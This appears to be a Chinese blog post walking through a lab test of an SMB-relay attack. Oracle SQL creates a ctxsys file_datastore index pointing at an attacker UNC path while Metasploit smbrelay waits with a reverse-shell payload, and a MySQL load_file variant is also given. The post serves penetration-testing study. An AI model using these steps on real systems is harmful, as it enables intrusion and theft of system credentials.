??? 這幾天看了篇叫"Penetration: from application down to OS (Oracle)"的文檔,感覺挺有意思的,文檔的 大概意思就是說,如果 ORACLE 服務是用 administrator 賬戶啟動的,你只要有一個具有 resource 和connect 權限的數據庫賬戶,就能利用 metasploit 的 smbrelay 功能,本地搭建一個 SMB 欺 騙 服 務 器 , 來得到系統(tǒng)的訪問權限。我本地測試了下,還真的成功了。:-)
??? 具體的原理分析看原文吧,我這里把我的測試過程寫出來.
??? 我的滲透環(huán)境用的是 ubuntu8.10+metasploit 3.3 dev,oracle 數據庫版本為 10.2.0.1.0,服務啟動權限為 administrator,數據庫賬戶用的是 dbsnmp 賬戶的默認權限.
?
?
??? 1.先用 netstat 命令查看一下,本地的 139 端口有沒有占用,一般占用此端口的服務就是 Samba 了,要關掉。ubuntu 的關閉方法是 sudo /etc/init.d/samba stop
??? 2.運行 metasploit,我選用的 PAYLOAD 是 shell_reverse_tcp,做好相應配置后,exploit.就能用 netstat 看到本地已經監(jiān)聽了 139 和 8522 端口了.
#p#副標題#e#
??? 3.我現在使用 dbsnmp 默認賬戶連接到 oracle 數據庫上,這個賬戶默認權限是比較低的,只有 connect和 resource 權限。
??? 4.然后執(zhí)行下面 3 條 SQL 語句
SQL> CREATE TABLE files(id NUMBER PRIMARY KEY,path VARCHAR(255)UNIQUE,ot_format VARCHAR(6));
SQL> INSERT INTO files VALUES(1,'\\192.168.1.52\mickey',NULL);
SQL> CREATE INDEX file_index ON files(path) INDEXTYPE IS ctxsys.context2?? PARAMETERS('datastore ctxsys.file_datastore format column ot_format');
??? 當執(zhí)行完 create index 這句的時候,在看咱們本地的 metasploit,就已經得到 ORACLE 數據庫主機的系統(tǒng)當前服務用戶的 half lm 哈希和 cmdshell 了。
?
??? 后來經過 pt007 的提醒,我又測試了 mysql,如果服務也是 administrator 啟動的,用
select load_file('\\\\192.168.1.52\mk.txt')也是可以得到系統(tǒng)權限的.MSSQL 應該用 xp_dirtree 存儲過程 也是可以的,不過我沒有配置出來用 administrator 賬戶啟動 MSSQL 服務,希望知道的朋友指點下我。 這個技術可以用到內網 WEB 評估的時候,如果有注入,服務又是 administrator 啟動的,可以提權了。
關鍵詞標簽:Oracle數據庫,管理員權
相關閱讀
熱門文章 Oracle中使用alter table來增加,刪除,修改列的語法 oracle中使用SQL語句修改字段類型-oracle修改SQL語句案例 誤刪Oracle數據庫實例的控制文件 為UNIX服務器設置Oracle全文檢索
人氣排行 oracle中使用SQL語句修改字段類型-oracle修改SQL語句案例 Oracle中使用alter table來增加,刪除,修改列的語法 ORACLE SQL 判斷字符串是否為數字的語句 ORACLE和SQL語法區(qū)別歸納(1) oracle grant 授權語句 ORACLE修改IP地址后如何能夠使用 如何加速Oracle大批量數據處理 Oracle刪除表的幾種方法